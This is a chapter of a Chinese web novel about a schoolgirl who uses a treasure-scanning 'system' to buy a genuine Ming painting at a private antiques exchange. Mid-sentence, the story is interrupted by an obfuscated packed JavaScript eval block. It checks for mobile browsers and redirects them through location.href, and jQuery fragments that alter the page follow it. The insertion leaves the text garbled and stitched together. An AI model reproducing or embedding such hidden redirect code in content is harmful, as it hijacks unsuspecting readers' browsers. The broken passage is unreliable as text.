25. 第 25 章

作品:《卷王被迫躺平[八零]

    周三午休,市一中的校园里静悄悄的,只有零星学生在操场散步。时墨刚趴在桌上想眯一会儿,就听见教室门口传来轻轻的叩门声。


    “时墨同学在吗?”


    熟悉的苍老嗓音,时墨抬头一看,竟是孙老。他穿了件熨帖的藏青衬衫,头发梳得整齐,手里拎着个深蓝色的布包,脸上带着温和的笑意,全然没了周日那天的激动失态,倒显出几分文人的儒雅气度。


    教室里的同学都好奇地望过来。


    时墨起身走出教室:“孙老?您怎么来了?”


    “特意来给你道歉的。”孙老走到走廊窗边,从布包里拿出个小巧的木盒,递到她面前,“周日那天,是我失态了,对不住啊。你一番好意提醒,我却……唉,老糊涂,脾气上来就收不住。你别往心里去。”


    时墨没想到老爷子会专程跑一趟学校道歉,连忙摆手:“孙老您言重了,我没往心里去。那天我也是冒昧,不该随便置喙您的藏品。”


    “不不不,你说得对,说得好!”孙老脸上愧色更深,打开木盒,里面是一方小巧的端砚,砚台温润,刻着简单的竹纹,“回去后我找了位真正懂行的老朋友仔细看了,确如你所言。那画……唉,不提了。亏得你点破,不然我还得继续当宝贝供着,更丢人现眼。”


    午时阳光透过窗户照射进走廊,落在老人花白的头发上。比起周日那位因赝品而气急败坏、面红耳赤的老者,此刻的孙老眼神清亮,语气诚恳,倒真有几分传统文人的清癯风骨。


    “这事儿让我明白,搞收藏啊,光凭年头长不行,还得时时警醒,不能固步自封。”孙老感慨一句,把木盒往时墨手里塞“这方老端砚,是我年轻时收的,不算什么稀世珍宝,但质地不错,适合写字画画。你喜欢淘旧物,又爱写东西,拿着用正好,算我一点心意,你可千万别推辞。”


    时墨连忙推回去:“孙老,这可使不得。您能想明白就好,东西我真不能收。”


    “你不收就是不给我面子!”孙老板起脸,不由分说塞过来,“我活了大半辈子,最敬重的就是有真本事、心善的人。你年纪轻轻,眼光毒辣,还不怕得罪肯说实话,实在太难得了。这砚台你收下,就当是我谢谢你提醒了我。”


    时墨见孙老态度坚决,再推辞就显得生分了,只好收下:“那我就却之不恭了,谢谢孙老。”


    “哎,这就对了!”孙老笑得眉眼舒展,“跟你说个事,周五下午西城那边有个小型的内部观摩交流会,说白了就是大家把手里想出手的、或者新淘来的宝贝拿出来,互相看看,有看中的就作价转让,或者以物易物,都是圈内人,不对外公开。”


    “这次都是新到的东西,听说有点意思。你想不想去看看?”


    时墨犹豫了:“周五下午有课,恐怕去不了。”


    “这个好办。”孙老显然早有准备,“我跟你学校领导熟,帮你请个假,就说……带你参加个重要的文化活动,保证放学前把你送回来,绝不耽误学习。”


    见时墨还在犹豫,孙老又压低声音道:“这次有几件东西是从南边刚送来的,路子正,品相好。说不定……能碰上真正的好东西。你眼力这么毒,不去可惜了。”


    时墨心念微动:“那……麻烦孙老了。”


    “不麻烦不麻烦!”孙老笑呵呵的,“周五午休时,我提前来学校接你,咱们一起过去。”


    送走孙老,时墨回到教室,把那方端砚小心翼翼地放进书包。同桌好奇地问:“时墨,那是谁啊?给你送的啥?”


    “一个忘年交的老爷爷,送了方砚台。”时墨笑了笑,没多解释。


    【宿主!砚台是真的!清代中期的端砚,质地不错,也算值钱。】系统在脑海里兴奋道,【周五的品鉴会肯定有好东西,我到时候全程扫描,保证不遗漏任何宝贝!】


    时墨喜闻乐见:【好,我就等你大显神通了!】


    【我办事,你放心!】


    *


    周五午后,孙老果然提前到了学校,顺利帮时墨请到了半天假。


    两人出了校门,坐上孙老提前叫来的“面的”朝西城方向驶去。


    车子七拐八绕,最后停在一处僻静的院落前。青砖门楼,朱漆大门紧闭,看起来像是某处保存尚好的旧式宅邸。


    孙老上前,有节奏地叩了叩门上铜环。片刻,门开了一条缝,里面的人认出孙老,这才将门打开。


    孙老领着时墨进去,院子里已经来了不少人,有上次聚贤斋见过的几位老者,还有几个陌生的中、老年男女,都穿着整洁,气氛安静。见孙老带了个年轻姑娘进来,不少人都投来好奇的目光。


    “老孙,来了?”唐老师迎上来,看到时墨,眼神闪过一丝诧异。


    “老孙,这位是?”一位戴着圆眼镜、头发花白的老者问道。


    “这是我家小辈,也喜欢老物件,带她来见见世面。”孙老笑着介绍,领着时墨在靠后的位置坐下。


    其他人闻言,都好奇地打量了眼时墨。但大家都是圈内人,也没多问,只是客气地点点头。


    时墨快速扫视了一圈环境。院子里的石桌上、长凳上,已经摆了不少物件:旧书、字画、铜器、玉器、砚台,琳琅满目。大家三三两两地围在一起,低声交谈,偶尔拿起物件翻看、摩挲,气氛安静又热烈。


    【宿主!我开始扫描了!】系统立刻进入工作状态。


    很快,前方主持人——一位清瘦的唐装老者简单讲了几句,便有人捧出第一件东西:一个青花缠枝莲纹的梅瓶。


    交流以一种颇为含蓄的方式进行。


    主持人会介绍物件来历,给出一个底价,感兴趣的人便低声报出自己的价格,或举手示意,最后由主持人确认归属。整个过程没有锤音,没有喧哗,甚至没有明确的“竞拍”字眼,更像是朋友间的转让。


    时墨静静观察,系统则在脑海里不断汇报扫描结果:


    【清代民窑青花瓶,品相完整,市场价值一般。】


    【明代晚期铜香炉,真品,有修补痕迹。】


    【民国仿清宫珐琅彩小碗,仿得不错,但胎质不对……】


    东西一件件过,有真有假,有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173537|196120||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    优有劣,价格也相对平和。时墨没有出手,只是默默学习着这个年代这种半地下交易的模式和氛围。


    直到一个旧木匣被捧上来。


    木匣打开,里面是一卷略显陈旧的画轴。


    主持人语气平和:“明代吴门画派作品一幅,绢本设色,未具名款,有清人题跋。起价两百元。”


    画卷被小心展开一部分,露出局部山水。笔法疏朗,墨色清润,山峦叠嶂间隐见屋舍、小舟。


    场内泛起细微的议论声。无款画,价格不高,但风险也大。


    孙老微微摇头,显然兴趣不大。


    时墨却觉得这画看着眼熟。


    【宿主,这是唐周的《繁秋山野图》,真迹!保存基本完好!】


    时墨的心脏猛地一缩,血液瞬间涌上头顶,手心沁出冷汗。


    唐周的《繁秋山野图》!


    她前世在博物馆隔着玻璃看过仿品,了解过它的传奇和天价。如果系统鉴定无误……眼前这卷看似不起眼的旧画,是足以引发轰动的国宝!后来价值高到禁止出境!


    它怎么会流落到这种小型的私人交流会?是持有者根本不知其价值?还是另有隐情?


    主持人已经开始询问:“五百元,有哪位同志感兴趣?”


    场内安静。无款画,又是“吴门画派”这种泛泛之称,五百元在此时不算小数目,无人轻易出手。


    时墨强迫自己冷静下来,不能表露出异样让人察觉异样。


    “五百一十元。”一个低沉的声音从侧面响起。


    时墨循声望去,是个穿着灰色夹克、面容平淡无奇的中年男人。


    “五百三十。”另一角有人轻声加价。


    价格缓慢攀升,到了五百八十元,便停了下来。显然,在大多数人眼里,这只是一幅品相尚可、但来历不明的无款古画,六百元已是极限。


    主持人环视一圈:“五百八十元,还有哪位同志……”


    时墨深吸一口气,在主持人即将落音前,轻轻举了一下手。


    所有人的目光瞬间聚焦在这个一直沉默的年轻姑娘身上。


    孙老也诧异地看着她,低声道:“小墨,这画……你可看准了?”


    时墨微微点头,目光沉静地看向主持人,清晰吐字:


    “六百元。”


    全场一静。


    随即,轻微的哗然响起。六百元买一幅无款画,在这场合已属高价。


    之前出价五百八的那位摇了摇头,放弃了。


    穿灰色夹克的中年男人眯眼看了看时墨,又看了看她身旁的孙老,沉默片刻,最终也没有再加价。


    “六百元,成交。”主持人的小惊堂木轻轻落在铺了绒布的桌面上。


    声音很轻。


    却像惊雷,炸响在时墨心中。


    她站起身,在众人各异的目光中,走向前方。


    每走一步,她都感觉脚下的地面有些不真实。


    那卷承载着六百年风雨、未来将光芒万丈的国宝,此刻,正静静躺在旧木匣中,等待她的靠近。